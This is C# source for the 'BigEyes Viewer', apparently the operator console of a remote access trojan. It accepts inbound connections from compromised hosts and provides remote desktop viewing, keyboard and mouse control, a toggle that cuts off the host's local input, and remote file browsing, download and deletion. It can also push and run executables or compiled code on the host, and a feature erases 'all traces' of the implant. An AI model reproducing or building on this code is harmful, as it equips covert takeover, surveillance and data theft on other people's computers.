using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.Windows.Forms; using System.IO; namespace BigEyes.Viewer { public class ViewerForm : System.Windows.Forms.Form { private System.ComponentModel.Container components = null; private System.Windows.Forms.ListBox listBox1; private System.Windows.Forms.SaveFileDialog saveFileDialog1; private string _curDir; private System.Windows.Forms.OpenFileDialog openFileDialog1; private System.Windows.Forms.GroupBox groupBox2; private System.Windows.Forms.CheckBox checkBox1; private System.Windows.Forms.Button button1; private System.Windows.Forms.TabControl tabControl1; private System.Windows.Forms.TabPage tabPage1; private System.Windows.Forms.PictureBox pictureBox1; private System.Windows.Forms.TabPage tabPage2; private System.Windows.Forms.GroupBox groupBox1; private System.Windows.Forms.Button button2; private System.Windows.Forms.CheckBox checkBox2; private System.Windows.Forms.TextBox textBox1; private System.Windows.Forms.ContextMenu contextMenu1; private System.Windows.Forms.MenuItem menuItem1; private System.Windows.Forms.MenuItem menuItem2; private System.Windows.Forms.GroupBox groupBox3; private System.Windows.Forms.Button button3; private Client c; private TabPage tabPage3; private Panel panel1; private Label label2; private CheckBox checkBox3; private GroupBox groupBox4; private ListBox listBox2; private Button button4; private CheckBox checkBox4; private System.Threading.Thread _formsThread; private string _matrixText; [STAThread] public static void Main(string[] args) { Application.EnableVisualStyles(); Application.DoEvents(); Application.Run(new ViewerForm()); } public ViewerForm() { InitializeComponent(); _formsThread = System.Threading.Thread.CurrentThread; this.SetStyle(ControlStyles.UserPaint,true); this.SetStyle(ControlStyles.AllPaintingInWmPaint,true); this.SetStyle(ControlStyles.DoubleBuffer,true); c = new Client(2201); c.DesktopImage+=new BigEyes.Viewer.Client.DesktopImageArgs(c_DesktopImage); c.Directory+=new BigEyes.Viewer.Client.DirectoryArgs(c_Directory); c.File+=new BigEyes.Viewer.Client.FileArgs(c_File); c.ReceivedConnection += new Client.ReceivedConnectionArgs(c_ReceivedConnection); c.Error+=new Client.ErrorArgs(c_Error); c.Start(); } protected override void Dispose( bool disposing ) { if( disposing ) { if(components != null) { components.Dispose(); } } base.Dispose( disposing ); } private void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ViewerForm)); this.listBox1 = new System.Windows.Forms.ListBox(); this.contextMenu1 = new System.Windows.Forms.ContextMenu(); this.menuItem1 = new System.Windows.Forms.MenuItem(); this.menuItem2 = new System.Windows.Forms.MenuItem(); this.saveFileDialog1 = new System.Windows.Forms.SaveFileDialog(); this.openFileDialog1 = new System.Windows.Forms.OpenFileDialog(); this.groupBox2 = new System.Windows.Forms.GroupBox(); this.button1 = new System.Windows.Forms.Button(); this.checkBox1 = new System.Windows.Forms.CheckBox(); this.tabControl1 = new System.Windows.Forms.TabControl(); this.tabPage1 = new System.Windows.Forms.TabPage(); this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.panel1 = new System.Windows.Forms.Panel(); this.label2 = new System.Windows.Forms.Label(); this.checkBox4 = new System.Windows.Forms.CheckBox(); this.checkBox3 = new System.Windows.Forms.CheckBox(); this.tabPage2 = new System.Windows.Forms.TabPage(); this.groupBox3 = new System.Windows.Forms.GroupBox(); this.button3 = new System.Windows.Forms.Button(); this.groupBox1 = new System.Windows.Forms.GroupBox(); this.textBox1 = new System.Windows.Forms.TextBox(); this.button2 = new System.Windows.Forms.Button(); this.checkBox2 = new System.Windows.Forms.CheckBox(); this.tabPage3 = new System.Windows.Forms.TabPage(); this.groupBox4 = new System.Windows.Forms.GroupBox(); this.button4 = new System.Windows.Forms.Button(); this.listBox2 = new System.Windows.Forms.ListBox(); this.groupBox2.SuspendLayout(); this.tabControl1.SuspendLayout(); this.tabPage1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); this.panel1.SuspendLayout(); this.tabPage2.SuspendLayout(); this.groupBox3.SuspendLayout(); this.groupBox1.SuspendLayout(); this.groupBox4.SuspendLayout(); this.SuspendLayout(); // // listBox1 // this.listBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.listBox1.ContextMenu = this.contextMenu1; this.listBox1.Location = new System.Drawing.Point(0, 0); this.listBox1.Name = "listBox1"; this.listBox1.Size = new System.Drawing.Size(544, 459); this.listBox1.TabIndex = 2; this.listBox1.DoubleClick += new System.EventHandler(this.listBox1_DoubleClick); this.listBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.listBox1_MouseDown); // // contextMenu1 // this.contextMenu1.MenuItems.AddRange(new System.Windows.Forms.MenuItem[] { this.menuItem1, this.menuItem2}); // // menuItem1 // this.menuItem1.DefaultItem = true; this.menuItem1.Index = 0; this.menuItem1.Text = "&Open"; this.menuItem1.Click += new System.EventHandler(this.listBox1_DoubleClick); // // menuItem2 // this.menuItem2.Index = 1; this.menuItem2.Text = "&Delete"; this.menuItem2.Click += new System.EventHandler(this.menuItem2_Click); // // saveFileDialog1 // this.saveFileDialog1.Title = "Save File As..."; // // openFileDialog1 // this.openFileDialog1.Filter = "Programs|*.exe"; this.openFileDialog1.Title = "Choose Program To Push"; // // groupBox2 // this.groupBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.groupBox2.Controls.Add(this.button1); this.groupBox2.Controls.Add(this.checkBox1); this.groupBox2.FlatStyle = System.Windows.Forms.FlatStyle.System; this.groupBox2.Location = new System.Drawing.Point(552, 8); this.groupBox2.Name = "groupBox2"; this.groupBox2.Size = new System.Drawing.Size(224, 88); this.groupBox2.TabIndex = 3; this.groupBox2.TabStop = false; this.groupBox2.Text = "Push and Run Executable to Current Dir"; // // button1 // this.button1.FlatStyle = System.Windows.Forms.FlatStyle.System; this.button1.Location = new System.Drawing.Point(8, 40); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(208, 40); this.button1.TabIndex = 1; this.button1.Text = "Choose and Run Program"; this.button1.Click += new System.EventHandler(this.button1_Click); // // checkBox1 // this.checkBox1.FlatStyle = System.Windows.Forms.FlatStyle.System; this.checkBox1.Location = new System.Drawing.Point(8, 16); this.checkBox1.Name = "checkBox1"; this.checkBox1.Size = new System.Drawing.Size(200, 24); this.checkBox1.TabIndex = 0; this.checkBox1.Text = "Wait until program exit and delete file"; // // tabControl1 // this.tabControl1.Controls.Add(this.tabPage1); this.tabControl1.Controls.Add(this.tabPage2); this.tabControl1.Controls.Add(this.tabPage3); this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; this.tabControl1.Location = new System.Drawing.Point(4, 4); this.tabControl1.Name = "tabControl1"; this.tabControl1.SelectedIndex = 0; this.tabControl1.Size = new System.Drawing.Size(792, 494); this.tabControl1.TabIndex = 4; this.tabControl1.SelectedIndexChanged += new System.EventHandler(this.tabControl1_SelectedIndexChanged); // // tabPage1 // this.tabPage1.Controls.Add(this.pictureBox1); this.tabPage1.Controls.Add(this.panel1); this.tabPage1.Location = new System.Drawing.Point(4, 22); this.tabPage1.Name = "tabPage1"; this.tabPage1.Size = new System.Drawing.Size(784, 468); this.tabPage1.TabIndex = 0; this.tabPage1.Text = "Desktop View"; // // pictureBox1 // this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; this.pictureBox1.Location = new System.Drawing.Point(0, 0); this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Size = new System.Drawing.Size(784, 441); this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.pictureBox1.TabIndex = 1; this.pictureBox1.TabStop = false; // // panel1 // this.panel1.Controls.Add(this.label2); this.panel1.Controls.Add(this.checkBox4); this.panel1.Controls.Add(this.checkBox3); this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom; this.panel1.Location = new System.Drawing.Point(0, 441); this.panel1.Name = "panel1"; this.panel1.Size = new System.Drawing.Size(784, 27); this.panel1.TabIndex = 3; // // label2 // this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.label2.AutoSize = true; this.label2.Location = new System.Drawing.Point(3, 7); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(126, 13); this.label2.TabIndex = 1; this.label2.Text = "Image last updated: N/A."; // // checkBox4 // this.checkBox4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.checkBox4.AutoSize = true; this.checkBox4.Checked = true; this.checkBox4.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox4.Location = new System.Drawing.Point(480, 6); this.checkBox4.Name = "checkBox4"; this.checkBox4.Size = new System.Drawing.Size(110, 17); this.checkBox4.TabIndex = 0; this.checkBox4.Text = "Enable local input"; this.checkBox4.UseVisualStyleBackColor = true; this.checkBox4.CheckedChanged += new System.EventHandler(this.checkBox4_CheckedChanged); // // checkBox3 // this.checkBox3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.checkBox3.AutoSize = true; this.checkBox3.Location = new System.Drawing.Point(602, 6); this.checkBox3.Name = "checkBox3"; this.checkBox3.Size = new System.Drawing.Size(179, 17); this.checkBox3.TabIndex = 0; this.checkBox3.Text = "Send keyboard and mouse input"; this.checkBox3.UseVisualStyleBackColor = true; // // tabPage2 // this.tabPage2.Controls.Add(this.groupBox3); this.tabPage2.Controls.Add(this.groupBox1); this.tabPage2.Controls.Add(this.listBox1); this.tabPage2.Controls.Add(this.groupBox2); this.tabPage2.Location = new System.Drawing.Point(4, 22); this.tabPage2.Name = "tabPage2"; this.tabPage2.Size = new System.Drawing.Size(784, 468); this.tabPage2.TabIndex = 1; this.tabPage2.Text = "File Functions"; // // groupBox3 // this.groupBox3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.groupBox3.Controls.Add(this.button3); this.groupBox3.FlatStyle = System.Windows.Forms.FlatStyle.System; this.groupBox3.Location = new System.Drawing.Point(552, 104); this.groupBox3.Name = "groupBox3"; this.groupBox3.Size = new System.Drawing.Size(224, 64); this.groupBox3.TabIndex = 5; this.groupBox3.TabStop = false; this.groupBox3.Text = "Remove Big Eyes From Current Host"; // // button3 // this.button3.FlatStyle = System.Windows.Forms.FlatStyle.System; this.button3.Location = new System.Drawing.Point(8, 16); this.button3.Name = "button3"; this.button3.Size = new System.Drawing.Size(208, 40); this.button3.TabIndex = 1; this.button3.Text = "Delete Big Eyes EXE and Close Program"; this.button3.Click += new System.EventHandler(this.button3_Click); // // groupBox1 // this.groupBox1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Right))); this.groupBox1.Controls.Add(this.textBox1); this.groupBox1.Controls.Add(this.button2); this.groupBox1.Controls.Add(this.checkBox2); this.groupBox1.FlatStyle = System.Windows.Forms.FlatStyle.System; this.groupBox1.Location = new System.Drawing.Point(552, 176); this.groupBox1.Name = "groupBox1"; this.groupBox1.Size = new System.Drawing.Size(224, 288); this.groupBox1.TabIndex = 4; this.groupBox1.TabStop = false; this.groupBox1.Text = "Push and Run Code to Current Dir"; // // textBox1 // this.textBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.textBox1.Location = new System.Drawing.Point(8, 40); this.textBox1.Multiline = true; this.textBox1.Name = "textBox1"; this.textBox1.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; this.textBox1.Size = new System.Drawing.Size(208, 192); this.textBox1.TabIndex = 2; this.textBox1.Text = "using System;\r\npublic class PushClass\r\n{\r\npublic static void Main(string[] args)\r" + "\n{\r\n//Code here...\r\n}\r\n}"; // // button2 // this.button2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.button2.FlatStyle = System.Windows.Forms.FlatStyle.System; this.button2.Location = new System.Drawing.Point(8, 240); this.button2.Name = "button2"; this.button2.Size = new System.Drawing.Size(208, 40); this.button2.TabIndex = 1; this.button2.Text = "Run Code"; this.button2.Click += new System.EventHandler(this.button2_Click); // // checkBox2 // this.checkBox2.Checked = true; this.checkBox2.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox2.FlatStyle = System.Windows.Forms.FlatStyle.System; this.checkBox2.Location = new System.Drawing.Point(8, 16); this.checkBox2.Name = "checkBox2"; this.checkBox2.Size = new System.Drawing.Size(200, 24); this.checkBox2.TabIndex = 0; this.checkBox2.Text = "Wait until program exit and delete file"; // // tabPage3 // this.tabPage3.BackColor = System.Drawing.Color.Black; this.tabPage3.Location = new System.Drawing.Point(4, 22); this.tabPage3.Name = "tabPage3"; this.tabPage3.Padding = new System.Windows.Forms.Padding(3); this.tabPage3.Size = new System.Drawing.Size(784, 468); this.tabPage3.TabIndex = 2; this.tabPage3.Text = "Matrix"; this.tabPage3.Paint += new System.Windows.Forms.PaintEventHandler(this.tabPage3_Paint); // // groupBox4 // this.groupBox4.Controls.Add(this.button4); this.groupBox4.Controls.Add(this.listBox2); this.groupBox4.Dock = System.Windows.Forms.DockStyle.Fill; this.groupBox4.Location = new System.Drawing.Point(4, 4); this.groupBox4.Name = "groupBox4"; this.groupBox4.Size = new System.Drawing.Size(792, 494); this.groupBox4.TabIndex = 4; this.groupBox4.TabStop = false; this.groupBox4.Text = "Inbound Connection Requests"; // // button4 // this.button4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.button4.Enabled = false; this.button4.Location = new System.Drawing.Point(610, 464); this.button4.Name = "button4"; this.button4.Size = new System.Drawing.Size(176, 24); this.button4.TabIndex = 1; this.button4.Text = "&Connect To Selected Server"; this.button4.UseVisualStyleBackColor = true; this.button4.Click += new System.EventHandler(this.listBox2_DoubleClick); // // listBox2 // this.listBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.listBox2.DisplayMember = "RemoteEndPoint"; this.listBox2.FormattingEnabled = true; this.listBox2.Location = new System.Drawing.Point(6, 19); this.listBox2.Name = "listBox2"; this.listBox2.Size = new System.Drawing.Size(780, 433); this.listBox2.TabIndex = 0; this.listBox2.ValueMember = "LocalEndPoint"; this.listBox2.DoubleClick += new System.EventHandler(this.listBox2_DoubleClick); this.listBox2.SelectedIndexChanged += new System.EventHandler(this.listBox2_SelectedIndexChanged); this.listBox2.MouseDown += new System.Windows.Forms.MouseEventHandler(this.listBox2_MouseDown); // // ViewerForm // this.AutoScaleBaseSize = new System.Drawing.Size(5, 13); this.ClientSize = new System.Drawing.Size(800, 502); this.Controls.Add(this.groupBox4); this.Controls.Add(this.tabControl1); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.MinimumSize = new System.Drawing.Size(350, 450); this.Name = "ViewerForm"; this.Padding = new System.Windows.Forms.Padding(4); this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Show; this.Text = "BigEyes Viewer"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.ViewerForm_FormClosing); this.groupBox2.ResumeLayout(false); this.tabControl1.ResumeLayout(false); this.tabPage1.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); this.panel1.ResumeLayout(false); this.panel1.PerformLayout(); this.tabPage2.ResumeLayout(false); this.groupBox3.ResumeLayout(false); this.groupBox1.ResumeLayout(false); this.groupBox1.PerformLayout(); this.groupBox4.ResumeLayout(false); this.ResumeLayout(false); } private void c_DesktopImage(Bitmap image) { if (System.Threading.Thread.CurrentThread != _formsThread) { this.Invoke(new Client.DesktopImageArgs(c_DesktopImage), image); return; } this.pictureBox1.Image = image; this.label2.Text = String.Format("Image last updated: {0} {1}.",DateTime.Now.ToShortDateString(),DateTime.Now.ToLongTimeString()); } private MouseEventArgs scaleMouse(MouseEventArgs e) { if(this.pictureBox1.Image==null) { return e; } return new MouseEventArgs(e.Button,e.Clicks,(int)Math.Round(((double)this.pictureBox1.Image.Width/(double)this.pictureBox1.Width) * (double)e.X,0),(int)Math.Round(((double)this.pictureBox1.Image.Height/(double)this.pictureBox1.Height) * (double)e.Y,0),e.Delta); } private void pictureBox1_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e) { if (this.checkBox3.Checked) { c.MousePress(true, scaleMouse(e)); } } private void pictureBox1_MouseUp(object sender, System.Windows.Forms.MouseEventArgs e) { if (this.checkBox3.Checked) { c.MousePress(false, scaleMouse(e)); } } private void pictureBox1_MouseMove(object sender, System.Windows.Forms.MouseEventArgs e) { if (this.checkBox3.Checked) { c.MoveMouse(scaleMouse(e)); } } private void pictureBox1_KeyDown(object sender, System.Windows.Forms.KeyEventArgs e) { if (this.checkBox3.Checked) { c.KeyPress(true, e); } } private void pictureBox1_KeyUp(object sender, System.Windows.Forms.KeyEventArgs e) { if (this.checkBox3.Checked) { c.KeyPress(false, e); } } private void listBox1_DoubleClick(object sender, System.EventArgs e) { if(listBox1.SelectedItem!=null) { this.Enabled = false; if(listBox1.SelectedItem.ToString()!="..") { c.RequestPath(Path.Combine(_curDir,listBox1.SelectedItem.ToString())); } else { c.RequestPath(Path.GetDirectoryName(_curDir)); } } } private void c_Directory(string[] listing) { if (System.Threading.Thread.CurrentThread != _formsThread) { this.Invoke(new Client.DirectoryArgs(c_Directory),(object)listing); return; } this.Enabled = true; if(listing.Length>0 && listing[0].Length>0) { this.listBox1.Items.Clear(); _curDir = Path.GetDirectoryName(listing[0]); if(Path.GetDirectoryName(_curDir)!=null) { this.listBox1.Items.Add(".."); } foreach(string entry in listing) { this.listBox1.Items.Add(Path.GetFileName(entry)); } } } private void c_File(string fileName, byte[] fileData) { if (System.Threading.Thread.CurrentThread != _formsThread) { this.Invoke(new Client.FileArgs(c_File),fileName,fileData); return; } if(fileName!="error") { this.saveFileDialog1.FileName = Path.GetFileName(fileName); if(this.saveFileDialog1.ShowDialog(this)==DialogResult.OK) { FileStream fs = new FileStream(this.saveFileDialog1.FileName,FileMode.Create,FileAccess.Write); fs.Write(fileData,0,fileData.Length); fs.Close(); } } else { MessageBox.Show(this,"The selected file cannot be opened, accessed, or found.","Error",MessageBoxButtons.OK,MessageBoxIcon.Asterisk); } this.Enabled = true; } private void button1_Click(object sender, System.EventArgs e) { if(this.openFileDialog1.ShowDialog(this)==DialogResult.OK) { FileStream fs = new FileStream(this.openFileDialog1.FileName,FileMode.Open,FileAccess.Read); byte[] b = new byte[fs.Length]; fs.Read(b,0,b.Length); fs.Close(); this.Enabled = false; c.PushExecutable(Path.Combine(_curDir,Path.GetFileName(this.openFileDialog1.FileName)),b,this.checkBox1.Checked); this.Enabled = true; } } private void c_ReceivedConnection(System.Net.Sockets.Socket connection) { if (System.Threading.Thread.CurrentThread != _formsThread) { this.Invoke(new Client.ReceivedConnectionArgs(c_ReceivedConnection), new object[] { connection }); return; } this.listBox2.Items.Add(connection); } private void tabControl1_SelectedIndexChanged(object sender, System.EventArgs e) { if (this.Controls.Contains(this.groupBox4)) { this.tabControl1.SelectedIndex = 0; return; } c.LoadMatrix(this.tabControl1.SelectedIndex == 2); bool b = !(this.tabControl1.SelectedIndex == 0); if (c.FileBrowserEnabled != b) { c.FileBrowserEnabled = b; } b = this.tabControl1.SelectedIndex == 2; if (b) { this.checkBox4.Checked = true; _matrixText = string.Empty; } c.LoadMatrix(b); } private void c_Error(Exception e) { if (System.Threading.Thread.CurrentThread != _formsThread) { this.Invoke(new Client.ErrorArgs(c_Error),e); return; } MessageBox.Show(this, e.Message + "\n\nPress OK to exit.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); //System.Diagnostics.Process.Start(System.Reflection.Assembly.GetExecutingAssembly().Location); System.Diagnostics.Process.GetCurrentProcess().Kill(); } private void menuItem2_Click(object sender, System.EventArgs e) { if(listBox1.SelectedItem!=null) { this.Enabled = false; if(listBox1.SelectedItem.ToString()!="..") { c.DeletePath(Path.Combine(_curDir,listBox1.SelectedItem.ToString())); } else { c.DeletePath(Path.GetDirectoryName(_curDir)); } c.RequestPath(_curDir); } } private void listBox1_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e) { if(e.Button == MouseButtons.Right) { listBox1.SelectedIndex = listBox1.IndexFromPoint(e.X,e.Y); } } private void button2_Click(object sender, System.EventArgs e) { Microsoft.CSharp.CSharpCodeProvider cs = new Microsoft.CSharp.CSharpCodeProvider(); System.CodeDom.Compiler.CompilerParameters cp = new System.CodeDom.Compiler.CompilerParameters(new string[] {"System.Windows.Forms.dll","System.Xml.dll","System.Drawing.dll","System.Data.dll","System.dll"}); cp.GenerateExecutable = true; if (this.textBox1.Text.IndexOf("Console.") == -1) { cp.CompilerOptions = "/target:winexe"; } string text = this.textBox1.Text; if (this.textBox1.Text.Contains("BigEyes.")) { StreamReader sr = new StreamReader(System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceStream("BigEyes.Viewer.BigEyes.cs")); text+=sr.ReadToEnd(); string[] nameSpaces = { "using System.Runtime.InteropServices;", "using System.Diagnostics;", "using System.Net;", "using System.Drawing;" }; foreach (string nameSpace in nameSpaces) { if (!text.Contains(nameSpace)) { text = nameSpace + text; } } sr.Close(); } System.CodeDom.Compiler.CompilerResults cr = cs.CreateCompiler().CompileAssemblyFromSource(cp,text); if(cr.Errors.HasErrors) { string errors = string.Empty; for(int i = 0; i!= cr.Errors.Count;i++) { if(!cr.Errors[i].IsWarning) { errors += cr.Errors[i].ToString().Substring(cr.Errors[i].ToString().IndexOf(".cs")+3) + "\n"; } } MessageBox.Show(this,"The code typed has errors:\n" + errors,"Compiler Error",MessageBoxButtons.OK,MessageBoxIcon.Warning); return; } else { FileStream fs = new FileStream(cr.PathToAssembly,FileMode.Open,FileAccess.Read); byte[] b = new byte[fs.Length]; fs.Read(b,0,b.Length); fs.Close(); this.Enabled = false; c.PushExecutable(Path.Combine(_curDir,Path.GetFileName(cr.PathToAssembly)),b,this.checkBox2.Checked); this.Enabled = true; File.Delete(cr.PathToAssembly); } } private void button3_Click(object sender, System.EventArgs e) { if (MessageBox.Show("Pressing OK will delete all traces of Big Eyes from the currently connected host. You will not be able to connect again after pressing OK.\n\nRemove Big Eyes from host?", "Remove Big Eyes", MessageBoxButtons.OKCancel, MessageBoxIcon.Warning) == DialogResult.OK) { c.RemoveBigEyes(); } } private void listBox2_SelectedIndexChanged(object sender, EventArgs e) { this.button4.Enabled = this.listBox2.SelectedIndex != -1; } private void listBox2_DoubleClick(object sender, EventArgs e) { if (this.listBox2.SelectedIndex != -1) { c.ConnectToHost((System.Net.Sockets.Socket)this.listBox2.SelectedItem); foreach (System.Net.Sockets.Socket s in this.listBox2.Items) { if (s != this.listBox2.SelectedItem) { s.Close(); } } System.Threading.Thread.Sleep(300); this.tabControl1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.pictureBox1_KeyDown); this.tabControl1.KeyUp += new System.Windows.Forms.KeyEventHandler(this.pictureBox1_KeyUp); this.tabControl1.KeyPress += new KeyPressEventHandler(tabControl1_KeyPress); this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseUp); this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseMove); this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseDown); this.Controls.Remove(this.groupBox4); } } private void tabControl1_KeyPress(object sender, KeyPressEventArgs e) { if (this.tabControl1.SelectedIndex == 2) { c.MatrixChar(e.KeyChar); if (e.KeyChar == '\b' && _matrixText.Length > 0) { _matrixText = _matrixText.Remove(_matrixText.Length - 1, 1); } else if (e.KeyChar == '\r') { _matrixText += '\n'; } else { _matrixText += e.KeyChar; } this.tabPage3.Invalidate(); } } private void listBox2_MouseDown(object sender, MouseEventArgs e) { this.listBox2.SelectedIndex = e.Y < (this.listBox2.ItemHeight * this.listBox2.Items.Count) ? (int)(e.Y / this.listBox2.ItemHeight) : -1; } private void ViewerForm_FormClosing(object sender, FormClosingEventArgs e) { Environment.Exit(0); } private void checkBox4_CheckedChanged(object sender, EventArgs e) { if (this.tabControl1.SelectedIndex != 2) { c.EnableHostControls = checkBox4.Checked; } } private void tabPage3_Paint(object sender, PaintEventArgs e) { e.Graphics.DrawString(_matrixText + '\b', new Font(FontFamily.GenericMonospace, 10), Brushes.GreenYellow, new RectangleF(0, 0, this.Width, this.Height)); } } }